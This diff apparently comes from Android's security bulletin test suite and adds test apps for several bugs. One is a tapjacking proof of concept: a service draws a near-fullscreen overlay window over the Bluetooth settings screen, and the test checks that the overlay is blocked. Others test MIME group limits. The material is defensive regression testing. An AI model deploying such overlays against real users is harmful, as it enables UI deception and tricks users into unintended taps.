-    public void updateKernelStartTime() throws DeviceNotAvailableException {
-        long uptime = getDeviceUptime();
-        kernelStartTime = (System.currentTimeMillis() / 1000) - uptime;
-    }
-
-    /**
-     * Return true if a module is play managed.
-     *
-     * Example of skipping a test based on mainline modules:
-     *  <pre>
-     *  @Test
-     *  public void testPocCVE_1234_5678() throws Exception {
-     *      // This will skip the test if MODULE_METADATA mainline module is play managed.
-     *      assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
-     *      // Do testing...
-     *  }
-     *  * </pre>
-     */
-    boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
-        return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
-    }
-
-    public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception {
-        String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
-                                      "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
-                                      "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
-                                      "/dev/st54j*", "/dev/st21nfc*" };
-        boolean isDriverFound = false;
-        for(String supportedDriver : supportedDrivers) {
-            if(containsDriver(device, supportedDriver, false)) {
-                isDriverFound = true;
-                break;
-            }
-        }
-        String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n");
-        String nfcDevice = null;
-        for (String line : output) {
-            if(line.contains("nfc")) {
-                String text[] = line.split("\\s+");
-                nfcDevice = text[text.length - 1];
-            }
-        }
-        assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test",
-                   isDriverFound);
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index c4d37b0..91c84d7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -16,27 +16,26 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.compatibility.common.util.CrashUtils;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeThat;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
 import junit.framework.Assert;
-import java.util.Arrays;
-import java.util.ArrayList;
 
-import static org.junit.Assume.*;
-import static org.hamcrest.CoreMatchers.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class TestMedia extends SecurityTestCase {
-
+public class TestMedia extends NonRootSecurityTestCase {
 
     /******************************************************************************
      * To prevent merge conflicts, add tests for N below this comment, before any
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
index 7f819bc..ef3e6cd 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
@@ -17,6 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.security.cts.BUG_182282630"
           android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <application
         android:label="@string/app_name"
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
new file mode 100644
index 0000000..d7af1ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "BUG-182810085",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
new file mode 100644
index 0000000..5777c18
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.BUG_182810085"
+    minSdkVersion="29">
+
+  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+  <application android:theme="@style/Theme.AppCompat.Light">
+    <uses-library android:name="android.test.runner" />
+    <service android:name=".OverlayService"
+        android:enabled="true"
+        android:exported="false" />
+
+    <activity
+        android:name=".MainActivity"
+        android:label="ST (Permission)"
+        android:exported="true"
+        android:taskAffinity="android.security.cts.BUG_182810085.MainActivity">
+
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN" />
+        <category android:name="android.intent.category.LAUNCHER" />
+      </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation
+      android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:targetPackage="android.security.cts.BUG_182810085" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
new file mode 100644
index 0000000..0ac0cf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:gravity="left"
+    tools:context=".MainActivity" >
+
+  <LinearLayout
+      android:id="@+id/linearLayout1"
+      android:layout_width="fill_parent"
+      android:layout_height="wrap_content"
+      android:layout_below="@+id/seekShowTimes"
+      android:layout_centerHorizontal="true"
+      android:layout_marginTop="53dp"
+      android:orientation="horizontal" >
+
+    <Button
+        android:id="@+id/btnStart"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Start" />
+
+  </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
new file mode 100644
index 0000000..347c9e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/res/values/strings.xml
@@ -0,0 +1,19 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+  <string name="tapjacking_text">BUG_182810085 overlay text</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
new file mode 100644
index 0000000..d7b940e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/Constants.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+final class Constants {
+
+    public static final String LOG_TAG = "BUG-182810085";
+    public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+    public static final String ACTION_START_TAPJACKING = "BUG_182810085.start_tapjacking";
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
new file mode 100644
index 0000000..4dbe976
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/DeviceTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final long WAIT_FOR_UI_TIMEOUT = 20_000;
+
+    private Context mContext;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() throws Exception {
+        Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+        mContext = getApplicationContext();
+
+        // If the permission is not granted, the app will not be able to show an overlay dialog.
+        // This is required for the test below.
+        // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+        assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+                mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
+                PackageManager.PERMISSION_GRANTED);
+
+        // Initialize UiDevice instance
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        if (!mDevice.isScreenOn()) {
+            mDevice.wakeUp();
+        }
+        mDevice.pressHome();
+    }
+
+    @Test
+    public void testTapjacking() throws InterruptedException {
+        Log.d(LOG_TAG, "Starting tap-jacking test");
+
+        launchTestApp();
+
+        launchTapjackedActivity();
+
+        mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+        Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+        UiObject2 overlay = waitForView(By.text(mContext.getString(R.string.tapjacking_text)));
+        assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+    }
+
+    @After
+    public void tearDown() {
+        mDevice.pressHome();
+    }
+
+    private void launchTestApp() {
+        Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+                Constants.TEST_APP_PACKAGE);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+
+        // Wait for the app to appear
+        UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+        assertNotNull("test-app did not appear!", view);
+        Log.d(LOG_TAG, "test-app appeared");
+    }
+
+    private void launchTapjackedActivity() {
+        Intent intent = new Intent();
+        intent.setAction("android.settings.BLUETOOTH_SETTINGS");
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0));
+        assertNotNull("Activity under-test was not launched or found!", activityInstance);
+
+        Log.d(LOG_TAG, "Started Activity under-test.");
+    }
+
+    private UiObject2 waitForView(BySelector selector) {
+        return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
new file mode 100644
index 0000000..b31e83b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_182810085;
+
+import static android.security.cts.BUG_182810085.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        public void onReceive(Context context, Intent intent) {
+            startTapjacking();
+        }
+    };
+
+    private Button btnStart;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+
+        registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+        btnStart = (Button) findViewById(R.id.btnStart);
+        btnStart.setOnClickListener(v -> startTapjacking());
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+        stopOverlayService();
+    }
+
+    public void startTapjacking() {
+        Log.d(LOG_TAG, "Starting tap-jacking flow.");
+        stopOverlayService();
+
+        startOverlayService();
+        Log.d(LOG_TAG, "Started overlay-service.");
+    }
+
+    private void startOverlayService() {
+        startService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+
+    private void stopOverlayService() {
+        stopService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
new file mode 100644
index 0000000..0c62a80
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182810085/src/android/security/cts/BUG_182810085/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_182810085;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+    public Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    @Override
+    public void onCreate() {
+        Log.d(Constants.LOG_TAG, "onCreate() called");
+        super.onCreate();
+
+        DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+        int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+        int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.CENTER;
+        mLayoutParams.width = scaledWidth;
+        mLayoutParams.height = scaledHeight;
+        mLayoutParams.x = scaledWidth / 2;
+        mLayoutParams.y = scaledHeight / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.d(Constants.LOG_TAG, "onStartCommand() called");
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(Constants.LOG_TAG, "onDestroy() called");
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        if (!Settings.canDrawOverlays(this)) {
+            Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+        }
+
+        mButton = new Button(getApplicationContext());
+        mButton.setText(getResources().getString(R.string.tapjacking_text));
+        mButton.setTag(mButton.getVisibility());
+        mWindowManager.addView(mButton, mLayoutParams);
+
+        new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+        Log.d(Constants.LOG_TAG, "Floating window created");
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
new file mode 100644
index 0000000..9ac80ac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/Android.bp
@@ -0,0 +1,64 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "BUG-237291548",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "BUG-237291548-FAIL-INSTALL",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    manifest: ":BUG-237291548-BAD-MANIFEST",
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
+
+// Modify the manifest file to include more than 500 MIME groups. The resulting
+// test apk generated using this manifest should fail package install since the
+// number of MIME groups is limited to a maximum of 500 per package.
+genrule {
+    name: "BUG-237291548-BAD-MANIFEST",
+    srcs: ["AndroidManifest.xml"],
+    out: ["BadAndroidManifest.xml"],
+    cmd: "awk '/myMimeGroup/{print;for(i=0;i<501;i++){sub(/myMimeGroup[0-9]*/,\"myMimeGroup\"i);print}}1' $(in) > $(out)",
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
new file mode 100644
index 0000000..cc692b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.BUG_237291548"
+    android:targetSandboxVersion="2">
+
+  <application>
+    <uses-library android:name="android.test.runner" />
+    <activity
+        android:name=".MainActivity"
+        android:exported="true">
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN" />
+        <category android:name="android.intent.category.LAUNCHER" />
+        <data android:mimeGroup="myMimeGroup" />
+      </intent-filter>
+    </activity>
+  </application>
+
+  <instrumentation
+      android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:targetPackage="android.security.cts.BUG_237291548" />
+
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
new file mode 100644
index 0000000..e4554aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-237291548/src/android/security/cts/BUG_237291548/DeviceTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_237291548;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashSet;
+import java.util.Set;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final String MIME_GROUP = "myMimeGroup";
+
+    PackageManager mPm = getApplicationContext().getPackageManager();
+
+    @Test(expected = IllegalStateException.class)
+    public void testExceedGroupLimit() {
+        Set<String> mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+        assertEquals(mimeTypes.size(), 0);
+        for (int i = 0; i < 500; i++) {
+            mimeTypes.add("MIME" + i);
+            mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+        }
+        mimeTypes = mPm.getMimeGroup(MIME_GROUP);
+        assertEquals(500, mimeTypes.size());
+        mimeTypes.add("ONETOMANYMIME");
+        mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testExceedMimeLengthLimit() {
+        Set<String> mimeTypes = new HashSet<>();
+        mimeTypes.add(new String(new char[64]).replace("\0", "MIME"));
+        mPm.setMimeGroup(MIME_GROUP, mimeTypes);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
new file mode 100644
index 0000000..f07b5cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-0441",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
new file mode 100644
index 0000000..66451bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0441"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:allowBackup="true"
+        android:label="@string/app_name"
+        android:supportsRtl="true">
+        <activity android:name=".PocActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0441" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
